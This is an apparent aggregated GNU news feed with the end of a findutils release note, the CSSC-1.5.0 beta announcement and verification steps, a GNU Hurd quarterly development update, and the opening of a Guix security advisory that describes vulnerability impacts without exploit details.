   Portuguese, Romanian, Spanish, Swedish, Ukrainian.
&lt;br /&gt;

&lt;br /&gt;
** Future Changes
&lt;br /&gt;

&lt;br /&gt;
   A future release will remove the warning message find prints about
&lt;br /&gt;
   the 2007 change in the meaning of &quot;-perm /000&quot;.  Everybody who is
&lt;br /&gt;
   likely to care probably knows about this change by now.
&lt;br /&gt;

&lt;br /&gt;
-eof-&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Bernhard Voelker</name>
	   <uri>https://savannah.gnu.org/projects/findutils</uri> 
	</author>
	<source>
	  <title type="html">findutils - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dfindutils"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=findutils</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">CSSC-1.5.0 released</title>
	<link href="https://savannah.gnu.org/news/?id=10911"/>
	<id>https://savannah.gnu.org/news/?id=10911</id>
	<updated>2026-07-05T21:38:38+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;This is to announce CSSC-1.5.0, a beta release.
&lt;br /&gt;

&lt;br /&gt;
There have been 424 commits by 2 people since 1.4.1.   Thanks to Greg A. Woods for helping to improve CSSC.
&lt;br /&gt;

&lt;br /&gt;
See the NEWS below for a brief summary.
&lt;br /&gt;

&lt;br /&gt;
===============================================================
&lt;br /&gt;

&lt;br /&gt;
Here is the GNU CSSC home page:
&lt;br /&gt;
    &lt;a href=&quot;https://gnu.org/s/CSSC/&quot;&gt;https://gn ... rg/s/CSSC/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the compressed sources and a GPG detached signature:
&lt;br /&gt;
  &lt;a href=&quot;https://alpha.gnu.org/gnu/CSSC/CSSC-1.5.0.tar.gz&quot;&gt;https://alpha.gnu ... CSSC-1.5.0.tar.gz&lt;/a&gt;
&lt;br /&gt;
  &lt;a href=&quot;https://alpha.gnu.org/gnu/CSSC/CSSC-1.5.0.tar.gz.sig&quot;&gt;https://alpha.gnu ... -1.5.0.tar.gz.sig&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Use a mirror for higher download bandwidth:
&lt;br /&gt;
  &lt;a href=&quot;https://www.gnu.org/order/ftp.html&quot;&gt;https://www.gnu.o ... rg/order/ftp.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the SHA256 and SHA3-256 checksums:
&lt;br /&gt;

&lt;br /&gt;
  File: CSSC-1.5.0.tar.gz
&lt;br /&gt;
  SHA256 sum:   8483a31aac756955843ef574bed6fa9e052ea492217f3882033487d2704c6cf4
&lt;br /&gt;
  SHA3-256 sum: c138c32cab373a51c32d2049064532ac24a6fa777b7edecabe4d605460018845
&lt;br /&gt;

&lt;br /&gt;
Verify the SHA256 checksum with either sha256sum, sha256, or
&lt;br /&gt;
&#39;shasum -a 256&#39;.
&lt;br /&gt;

&lt;br /&gt;
Verify the SHA3-256 checksum with &#39;cksum -a sha3 -l 256 --base64&#39;
&lt;br /&gt;
from coreutils-9.8.
&lt;br /&gt;

&lt;br /&gt;
Use a .sig file to verify that the corresponding file (without the
&lt;br /&gt;
.sig suffix) is intact.  First, be sure to download both the .sig file
&lt;br /&gt;
and the corresponding tarball.  Then, run a command like this:
&lt;br /&gt;

&lt;br /&gt;
  gpg --verify CSSC-1.5.0.tar.gz.sig
&lt;br /&gt;

&lt;br /&gt;
The signature should match the fingerprint of the following key:
&lt;br /&gt;

&lt;br /&gt;
  pub   rsa4096 2015-12-24 [SC]
&lt;br /&gt;
        0CF4 E8D8 7159 3224 8428  32B8 88DD 9E08 C5DD ACB9
&lt;br /&gt;
  uid   James Youngman &amp;lt;james@youngman.org&amp;gt;
&lt;br /&gt;
  uid   James Youngman &amp;lt;jay@gnu.org&amp;gt;
&lt;br /&gt;

&lt;br /&gt;
If that command fails because you don&#39;t have the required public key,
&lt;br /&gt;
or that public key has expired, try the following commands to retrieve
&lt;br /&gt;
or refresh it, and then rerun the &#39;gpg --verify&#39; command.
&lt;br /&gt;

&lt;br /&gt;
  gpg --locate-external-key &lt;a href=&quot;mailto:james@youngman.org&quot;&gt;james@youngman.org&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
  gpg --recv-keys 88DD9E08C5DDACB9
&lt;br /&gt;

&lt;br /&gt;
  wget -q -O- &#39;&lt;a href=&quot;https://savannah.gnu.org/project/release-gpgkeys.php?group=CSSC&amp;amp;download=1&quot;&gt;https://savannah. ... SC&amp;amp;download=1&lt;/a&gt;&#39;
&lt;br /&gt;
| gpg --import -
&lt;br /&gt;

&lt;br /&gt;
As a last resort to find the key, you can try the official GNU
&lt;br /&gt;
keyring:
&lt;br /&gt;

&lt;br /&gt;
  wget -q &lt;a href=&quot;https://ftp.gnu.org/gnu/gnu-keyring.gpg&quot;&gt;https://ftp.gnu.o ... u/gnu-keyring.gpg&lt;/a&gt;
&lt;br /&gt;
  gpg --keyring gnu-keyring.gpg --verify CSSC-1.5.0.tar.gz.sig
&lt;br /&gt;

&lt;br /&gt;
This release is based on the CSSC git repository, available as
&lt;br /&gt;

&lt;br /&gt;
  git clone &lt;a href=&quot;https://https.git.savannah.gnu.org/git/CSSC.git&quot;&gt;https://https.git ... .org/git/CSSC.git&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
with commit 77bdce39a09b9ff37831c4dd1cb0d4dd5967cb39 tagged as v1.5.0.
&lt;br /&gt;

&lt;br /&gt;
For a summary of changes and contributors, see:
&lt;br /&gt;

&lt;br /&gt;
  &lt;a href=&quot;https://gitweb.git.savannah.gnu.org/gitweb/?p=CSSC.git;a=shortlog;h=v1.5.0&quot;&gt;https://gitweb.gi ... shortlog;h=v1.5.0&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
or run this command from a git-cloned CSSC directory:
&lt;br /&gt;

&lt;br /&gt;
  git shortlog CSSC-1.4.1..v1.5.0
&lt;br /&gt;

&lt;br /&gt;
This release was bootstrapped with the following tools:
&lt;br /&gt;
  Autoconf 2.72
&lt;br /&gt;
  Automake 1.17
&lt;br /&gt;
  Gnulib 2026-06-08 88592a2880cf39a2f597cd0294a90d8dd7faa2df
&lt;br /&gt;

&lt;br /&gt;
NEWS
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Noteworthy changes in release 1.5.0 (2026-07-05) [beta]
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
        * The test suite no longer depends on Python, so it should
&lt;br /&gt;
work on older systems that have no Python 3 interpreter. While you can
&lt;br /&gt;
build and test CSSC without Python, you do need a Python interpreter
&lt;br /&gt;
to do some maintenance tasks (such as importing the &quot;gnulib&quot; code into
&lt;br /&gt;
a git checkout).
&lt;br /&gt;

&lt;br /&gt;
        * Tolerate SCCS files in which file flags lack the space
&lt;br /&gt;
separator which would normally come between the flag letter and the
&lt;br /&gt;
associated value.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Noteworthy changes in release 1.5.0-rc3 (2026-06-14)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
        * Some typos in error message have been fixed.
&lt;br /&gt;

&lt;br /&gt;
        * admin now supports combination of -r with -n as well as the
&lt;br /&gt;
          portable combination of -r with -i.
&lt;br /&gt;

&lt;br /&gt;
        * Support &quot;sccs sact&quot;; the sact program already existed but
&lt;br /&gt;
could not previously be invoked via the sccs wrapper.  Thanks to Greg
&lt;br /&gt;
A. Woods for this improvement.
&lt;br /&gt;

&lt;br /&gt;
        * In some places we now prefer &quot;grep -E&quot; to &quot;egrep&quot; in order
&lt;br /&gt;
to avoid a warning message from GNU grep.  Some very old versions of
&lt;br /&gt;
Unix may not support this option.
&lt;br /&gt;

&lt;br /&gt;
        * Various C++ portability improvements.
&lt;br /&gt;

&lt;br /&gt;
        * Updated version of gnulib.
&lt;br /&gt;

&lt;br /&gt;
        * Updated version of googletest; this is now at the last
&lt;br /&gt;
version at which it still supported building with Automake.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Noteworthy changes in release 1.5.0-rc2 (2024-05-13)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
        * This release is more careful to detect I/O failures when
&lt;br /&gt;
writing to stdout in prs and prt.
&lt;br /&gt;

&lt;br /&gt;
        * This release should build on more modern platforms.
&lt;br /&gt;

&lt;br /&gt;
        * The --with-googletest configure option is removed (now we
&lt;br /&gt;
always use it).
&lt;br /&gt;

&lt;br /&gt;
        * Updated versions of gnulib and googletest.&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>James Youngman</name>
	   <uri>https://savannah.gnu.org/projects/cssc</uri> 
	</author>
	<source>
	  <title type="html">GNU CSSC - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dcssc"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=cssc</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">2026-q2</title>
	<link href="http://www.gnu.org/software/hurd/news/2026-q2.html"/>
	<id>http://www.gnu.org/software/hurd/news/2026-q2.html</id>
	<updated>2026-07-03T20:32:51+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;Hello and welcome to another Qoth!  Here&#39;s what&#39;s been happening in Q2
of 2026!&lt;/p&gt;

&lt;p&gt;Joshua Branson added a pretty cool svg logo for our &lt;a href=&quot;http://www.gnu.org/software/hurd/hurd/translator/eth-multiplexer.html&quot;&gt;ethernet
multiplexor&lt;/a&gt;.  He built that image
with Inkscape whilst using a Hurd laptop (Thinkpad 420) running on
real iron! The Hurd wiki could certainly use more artwork.  Perhaps
you have a favorite Hurd translator that you believes needs some
artwork!&lt;/p&gt;

&lt;p&gt;Sergey Bugaev announced his &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-06/msg00012.html&quot;&gt;WIP
9pfs&lt;/a&gt;
(&lt;a href=&quot;https://github.com/bugaevc/9pfs&quot;&gt;source code&lt;/a&gt;),
and it has a &lt;a href=&quot;http://www.gnu.org/software/hurd/hurd/translator/9pfs.html&quot;&gt;wiki page&lt;/a&gt;! He writes:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Some years ago, I experimented with implementing a 9P translator for
the Hurd. Hopefully there is no need to tell this list what 9P is :)

Besides just browsing files on the few existing servers out there, a
potential use case is virtio-9p, to enable shared directory trees
between VMs and the host. But that would need someone to implement
virtio support in the Hurd.

I wanted to complete 9pfs before publishing, but that ultimately
didn&#39;t happen, so now it&#39;s time to turn it over to the community. I
now went and made the repository public on GitHub:
https://github.com/bugaevc/9pfs

What&#39;s implemented is basic browsing (readdir, stat), path resolution
(dir_lookup), and reading files (io_read). And below that, the whole
tracking for nodes, peropens, protids, fids, tags, and 9p RPCs.

Improvements are welcome, send patches to this list with [PATCH 9pfs]
in the subject. A good starting point would be to continue porting
things that I had implemented in the old netfs-based version (see
netfs.c) but didn&#39;t yet port to the new one.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;He then got a little more motivated, and he added some write support!&lt;/p&gt;

&lt;p&gt;Etienne Brateau added
&lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-05/msg00098.html&quot;&gt;validation&lt;/a&gt;
to &lt;a href=&quot;https://man7.org/linux/man-pages/man2/msync.2.html&quot;&gt;msync&lt;/a&gt;, so
that the Hurd better follows POSIX.&lt;/p&gt;

&lt;p&gt;Diego Nieto Cid worked on allowing privileged users to set their task
priority (nice value).  His patches landed in
&lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-05/msg00100.html&quot;&gt;glibc&lt;/a&gt;
and &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-05/msg00099.html&quot;&gt;GNU
Mach&lt;/a&gt;.
He also fixed a &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-04/msg00232.html&quot;&gt;tiny
bug&lt;/a&gt;
in our test suite. He fixed an adjtime bug, which is helpful to &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-05/msg00061.html&quot;&gt;the
OpenNTPD
port&lt;/a&gt;,
and he fixed
&lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-04/msg00133.html&quot;&gt;two more&lt;/a&gt;
&lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-05/msg00117.html&quot;&gt;bugs&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Paulo Duarte sent a RFC patch series trying to commit Sergey’s
previous AArch64 work. He writes:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;This series adds the gnumach kernel-side implementation for the
aarch64 ABI Sergey landed in April 2024, plus the test-suite arms.
Patch 01 brings in the aarch64-only sources from bugaevc/wip-aarch64
verbatim, with Sergey as Author; the rest is mine.

The meaningful divergence from wip-aarch64 is what I left out:
roughly 150 files of cross-arch refactoring across kern/, ipc/, vm/,
device/intr.{c,h}, and the i386 tree. Each got replaced with a
smaller per-arch shim under aarch64/ so kern/bootstrap.c,
device/intr.{c,h}, kern/lock.h, and the i386 trees all stay
bit-identical to current master. The shared-file footprint outside
aarch64/ is four files: a new ELF constant, two missing decls plus
their include, and a linker-symbol filter extension...

Tested: 12/12 pass on x86_64, i686, and aarch64 under qemu. No
bare-metal validation yet. I plan to build bootable images and boot
the kernel on Apple M1 / Raspberry Pi (aarch64) and an x86_64 box
(x86_64 + i686). Help on any of these welcome.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;He also fixed a &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-05/msg00077.html&quot;&gt;tiny cross compilation issue&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;gfleury fixed some &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-05/msg00038.html&quot;&gt;tmpfs
typos&lt;/a&gt;.
He also fixed a &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-05/msg00101.html&quot;&gt;kernel crash on a null pointer
deference&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Almudena Garcia is developing a &lt;a href=&quot;https://gitlab.com/AlmuHS/hurd-translator-in-rust&quot;&gt;WIP trivfs implementation in
rust&lt;/a&gt;.  The work is
not complete yet, but it is possible to write Hurd translators in Rust!&lt;/p&gt;

&lt;p&gt;Mikhail Karpov added some checks for &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-06/msg00165.html&quot;&gt;mmap in several places&lt;/a&gt;.
He also worked on adding storeio to the &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-04/msg00221.html&quot;&gt;bootstrap
chain&lt;/a&gt;.
This is actually quite interesting.  Currently the Hurd sets device
entries in &lt;code&gt;/dev/&lt;/code&gt; statically.  For example, I am writing this qoth on
a Hurd machine that is using two &lt;code&gt;/dev/&lt;/code&gt; entries for my filesystem:
&lt;code&gt;/dev/wd0s1&lt;/code&gt; for swap and &lt;code&gt;/dev/wd0s5&lt;/code&gt; for my root filesystem.
However, &lt;code&gt;/dev/wd0s1&lt;/code&gt; through &lt;code&gt;/dev/wd0s16&lt;/code&gt; exist on my computer!
Once Mikhail&#39;s project is done, then the Hurd will dynamically
populate SATA devices at boot time!  No more need for static
translators! &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-05/msg00041.html&quot;&gt;He
writes&lt;/a&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;I&#39;ve expanded the functionality of the partfs translator to work
with multiple disks and their partitions. Thus, by running the
command:
settrans -c partfs /hurd/partfs /root/disk1.img /root/disk2.img /root/disk3.img


The translator directory will have the following directory tree:
partfs
├── 0
│ ├── 1
│ ├── 2
│ └── ...
├── 1
│ ├── 1
│ ├── 2
│ └── ...
├── 2
│ ├── 1
│ ├── 2
│ └── ...
Since the disks are directories, the cd and ls commands work in the translator node.

I also tested mounting, reading, and writing using the commands:
`settrans -c ext01 /hurd/ext2fs -w -T typed file:/root/partfs/0/1`
and
`settrans -c ext1_1 /hurd/ext2fs -w -T typed part:1:file:/root/partfs/1`
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;It actually is even cooler!  Samuel (our fearless leader) is &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-04/msg00187.html&quot;&gt;seeking
feedback&lt;/a&gt;
for how to name these newer &lt;code&gt;/dev&lt;/code&gt; entries. Samuel &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-04/msg00187.html&quot;&gt;writes&lt;/a&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;One thing that would be really needed for efficiency is to implement
netfs_file_get_storage_info, so that libstore would be able to get the
underlying storage information, and directly get data from there rather
than partfs having to pass data with io_read/write.

I&#39;m then wondering how this would fit in the &quot;grand scheme&quot;. Our current
approach, /dev/hd0s* being always there, is indeed not really good
because it doesn&#39;t easily tell the user which partitions are actually
there. We used to have to have this because partitions used to be
handled by the kernel, and then we have moved to
storerio+parted-supported partitions, which brings much more
flexibility.

Perhaps we could use

settrans -c /dev/hd0s /hurd/partfs /dev/hd0

and then we&#39;d have /dev/hd0s/1, which is almost like before, but allows
the entries to be dynamic. Actually, we could even have some

settrans -c /dev/hd /hurd/probedisk hd

and then we&#39;d have /dev/hd/0, and we could have /dev/hd/0s being partfs,
so we&#39;d eventually have

/dev/hd/0s/1

But I&#39;m also thinking that perhaps it could be integrated more with
storeio, i.e. /dev/hd0 can as well also act as a directory with partfs
behavior, so you could have

/dev/hd0/1

and with the probedisk translator, you could have

/dev/hd/0/1

What do people think about it?
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Mike Kelly has been hard at work &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-04/msg00185.html&quot;&gt;porting OpenBSD’s
OpenNTPD&lt;/a&gt;,
which required some glibc work. The Hurd doesn&#39;t currently have a
NTP daemon, so thanks Mike!&lt;/p&gt;

&lt;p&gt;He also debugged a &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-04/msg00029.html&quot;&gt;weird memory error with
rump&lt;/a&gt;,
and he provided a &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-06/msg00136.html&quot;&gt;&quot;brown-tape&quot;
solution&lt;/a&gt;
for it. Hopefully, he (or you dear reader), can reach out to the
NetBSD people to fix this bug.  This just goes to show that when two
projects use the same code, both projects benefit!&lt;/p&gt;

&lt;p&gt;He also got a &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-04/msg00012.html&quot;&gt;glibc patch
committed&lt;/a&gt;.
Essentially &lt;code&gt;SIGSTOP&lt;/code&gt;/&lt;code&gt;SIGCONT&lt;/code&gt; was duplicating portions of files,
which is now fixed.  However, there are still some &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-04/msg00149.html&quot;&gt;other
issues&lt;/a&gt;
with building some haskell packages.&lt;/p&gt;

&lt;p&gt;Joan Lledó continued his work
&lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-04/msg00067.html&quot;&gt;on&lt;/a&gt;
&lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-06/msg00146.html&quot;&gt;porting&lt;/a&gt;
&lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-06/msg00028.html&quot;&gt;dhcpcd&lt;/a&gt;.
Also Roy Maples, the dhcpcd maintainer did a lot of helpful work to
help us out.  Thanks Roy!&lt;/p&gt;

&lt;p&gt;Bradley Morgan fixed a &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-06/msg00120.html&quot;&gt;tiny implementation bug with
cat&lt;/a&gt;. He
also tweaked procfs to &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-06/msg00122.html&quot;&gt;show hidden
files&lt;/a&gt;,
and he &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-06/msg00082.html&quot;&gt;allowed passing “-s” to
init&lt;/a&gt;.
Previously, passing &quot;-s&quot; to init was silently ignored.&lt;/p&gt;

&lt;p&gt;Johannes Schauer Marin Rodrigues has been working on getting &lt;a href=&quot;https://lists.debian.org/debian-hurd/2026/06/msg00000.html&quot;&gt;s-build
to run on amd64
Hurd&lt;/a&gt;.  It
is a rather long email thread, so grab some popcorn and dig in!&lt;/p&gt;

&lt;p&gt;Milos Nikic ported
&lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-04/msg00141.html&quot;&gt;Neovim&lt;/a&gt;.
He also worked on
&lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-04/msg00179.html&quot;&gt;bug&lt;/a&gt;
&lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-04/msg00195.html&quot;&gt;fixes&lt;/a&gt;
to
&lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-04/msg00020.html&quot;&gt;libdiskfs&lt;/a&gt;,
and he fixed a deadlock bug in the &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-06/msg00171.html&quot;&gt;“ext3/ext4” filesystem
journal&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In the last qoth we had talked about how the Milos was working on
adding an ext3/ext4 binary compatible journal.  Samuel has committed
it!  Samuel wrote:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;There is a couple things that I fixed on the fly:

- We want to use pthread_cond_clockwait rather than
  pthread_cond_timedwait, to be able to use CLOCK_MONOTONIC instead of
  CLOCK_REALTIME, to avoid being hit by ntpdate and such.

- In diskfs_S_dir_rename, there was an addition of:

  pthread_mutex_unlock (&amp;amp;fnp-&amp;gt;lock);

  which was clearly bogus: we were unlocking it again below.

There are a couple things that we&#39;d want to fix now:

- when calling diskfs_file_update, don&#39;t we have to be inside a
  transaction? Otherwise if we pass wait=1 and use a journal, we won&#39;t
  be waiting AIUI? Notably, in diskfs_S_dir_rmdir we don&#39;t use a
  transaction. And ideally we&#39;d have an assertion that makes sure we
  respect this.

- we should define some helper for this recurring pattern:

  if ((docommit) &amp;amp;&amp;amp; (diskfs_synchronous || diskfs_journal_needs_sync (txn)))
    diskfs_journal_commit_transaction (txn);
  else
    diskfs_journal_stop_transaction (txn);

- journal_drain_deferred_blocks should document what it does, not just
  its call conditions :), and more generally the functions that are
  not already documented in a .h and not just a _locked variant of a
  documented function.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Leonardo Lopes Pereira did some &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-04/msg00083.html&quot;&gt;spring
cleaning&lt;/a&gt;
to remove some &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-04/msg00084.html&quot;&gt;dead
code&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Samuel Thibault mentioned &lt;a href=&quot;https://lists.debian.org/debian-hurd/2026/04/msg00016.html&quot;&gt;in an
email&lt;/a&gt;
that the Hurd can support nvmes with rump, but that the work was just
not done yet.  Perhaps you, dear reader, would like to help us
accomplish this task?&lt;/p&gt;

&lt;p&gt;The mysterious user yelini worked on &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-06/msg00069.html&quot;&gt;porting the D language compiler&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Damien Zammit worked on &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-06/msg00139.html&quot;&gt;tweaking the Hurd’s WIP
CI&lt;/a&gt;.
He also
&lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-06/msg00106.html&quot;&gt;fixed&lt;/a&gt;
&lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-06/msg00100.html&quot;&gt;several&lt;/a&gt;
&lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-06/msg00117.html&quot;&gt;bugs&lt;/a&gt;
to make it possible to run the Hurd’s test suite from GNU/Linux
running on an AArch64 computer. He also is working on integrating
qemu’s Hurd support into &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-06/msg00102.html&quot;&gt;upstream qemu’s
CI&lt;/a&gt;,
so that the support does not bitrot.&lt;/p&gt;

&lt;p&gt;Sophiel Zhou fixed &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-06/msg00027.html&quot;&gt;a tiny pfinet permission checking
issue&lt;/a&gt;
and taught &lt;a href=&quot;https://lists.gnu.org/archive/html/bug-hurd/2026-06/msg00043.html&quot;&gt;pfinet to not fail under memory pressure&lt;/a&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;This series fixes two latent crash bugs in pfinet where mmap
return values go unchecked, may causing crash when memory is tight.

Both bugs follow the same pattern: mmap is called to grow a buffer,
but the returned pointer is dereferenced before (or without) checking
for MAP_FAILED.  Under normal operation mmap rarely fails, so these
have gone unnoticed, but under address-space pressure pfinet would
crash.
&lt;/code&gt;&lt;/pre&gt;</content>
	<author>
	  <name>GNU Hurd development blog</name>
	   <uri>http://www.gnu.org/software/hurd/index.html</uri> 
	</author>
	<source>
	  <title type="html">GNU Hurd</title>
	  <subtitle type="html">GNU Hurd</subtitle>
	  <link rel="self" href="http://www.gnu.org/software/hurd/index.rss"/>
	  <id>http://www.gnu.org/software/hurd/index.html</id>  <rights type="html">&lt;p&gt;Copyright © 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012,
2013, 2014, 2015, 2016, 2017, 2018, 2019 - &lt;a href=&quot;https://www.fsf.org&quot;&gt;Free Software Foundation, Inc.&lt;/a&gt;&lt;/p&gt;</rights>
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">‘guix substitute’ and ‘guix pull’ Vulnerabilities</title>
	<link href="https://guix.gnu.org/blog/2026/guix-substitute-pull-vulnerabilities//"/>
	<id>https://guix.gnu.org/blog/2026/guix-substitute-pull-vulnerabilities//</id>
	<updated>2026-07-02T17:00:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;Several security issues (CVE IDs pending) have been identified in &lt;code&gt;guix substitute&lt;/code&gt;, a helper utility invoked by
&lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/Invoking-guix_002ddaemon.html&quot;&gt;&lt;code&gt;guix-daemon&lt;/code&gt;&lt;/a&gt;,
which enable a variety of harmful activities including &lt;strong&gt;remote privilege
escalation to the build daemon user&lt;/strong&gt;, &lt;strong&gt;remote store corruption&lt;/strong&gt;, and
potentially &lt;strong&gt;local disclosure of sensitive files&lt;/strong&gt; accessible to the build
daemon user. All systems are affected, whether or not &lt;code&gt;guix-daemon&lt;/code&gt; is running
with root privileges; the harm that can be done when &lt;code&gt;guix-daemon&lt;/code&gt; runs without
root privileges is more limited. You are strongly advised to &lt;strong&gt;upgrade your
daemon&lt;/strong&gt; now (see instructions below), &lt;strong&gt;carefully considering whether to pass
&lt;code&gt;--no-substitutes&lt;/code&gt; to all guix commands when you do so (see note in Upgrading
section)&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;The remote exploitation of &lt;code&gt;guix substitute&lt;/code&gt; only requires that the vulnerable
system attempt to download a binary substitute.  Any configured substitute
server, including ones discovered using &lt;code&gt;guix-daemon&lt;/code&gt;&#39;s &lt;code&gt;--discover&lt;/code&gt; option, can
exploit this, and so can a man-in-the-middle (MITM), regardless of whether
&lt;code&gt;https&lt;/code&gt; is used in the substitute server urls.&lt;/p&gt;&lt;p&gt;The local exploitation of &lt;code&gt;guix substitute&lt;/code&gt; only requires the ability to connect
to &lt;code&gt;guix-daemon&lt;/code&gt;&#39;s socket, which by default any user can do.&lt;/p&gt;&lt;p&gt;Separately, another security issue (CVE ID pending) was identified in &lt;code&gt;guix pull&lt;/code&gt; and &lt;code&gt;guix time-machine&lt;/code&gt;, which enables anyone who can control the channels
file used by these commands to cause a file to be created or overwritten
wherever the user running the command in question has permission to create
them. This is possible regardless of whether the channels file is evaluated in a
sandbox and whether the channels used are limited to those sharing an
introduction with a trusted channel. Due to limitations on the content of the
created or overwritten file, this primarily represents a &lt;strong&gt;denial-of-service&lt;/strong&gt;
risk, though in theory it could do more.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Update 2026-07-06:&lt;/strong&gt; if you are using the unprivileged &lt;code&gt;guix-daemon&lt;/code&gt;, as is
the default on distros other than Guix System since version 1.5.0, and if you
updated it between July 2nd and July 5th, you&#39;ve probably been affected by
&lt;a href=&quot;https://codeberg.org/guix/guix/issues/9686&quot;&gt;this regression&lt;/a&gt; preventing
substitutes from working. It is now fixed, but if you are stuck trying to
upgrade, try passing &lt;code&gt;--no-substitutes&lt;/code&gt;. If you can&#39;t reasonably upgrade
without substitutes, you can either take your chances downgrading to the
vulnerable &lt;code&gt;guix-daemon&lt;/code&gt; and using it or try &lt;a href=&quot;https://codeberg.org/guix/guix/pulls/9702#issuecomment-18646712&quot;&gt;tinystar&#39;s
workaround&lt;/a&gt;
(doesn&#39;t apply to Guix on distributions other than Guix System).&lt;/p&gt;&lt;/blockquote&gt;&lt;h1&gt;Vulnerabilities&lt;/h1&gt;&lt;p&gt;Three distinct vulnerabilities have been identified affecting &lt;code&gt;guix substitute&lt;/code&gt;,
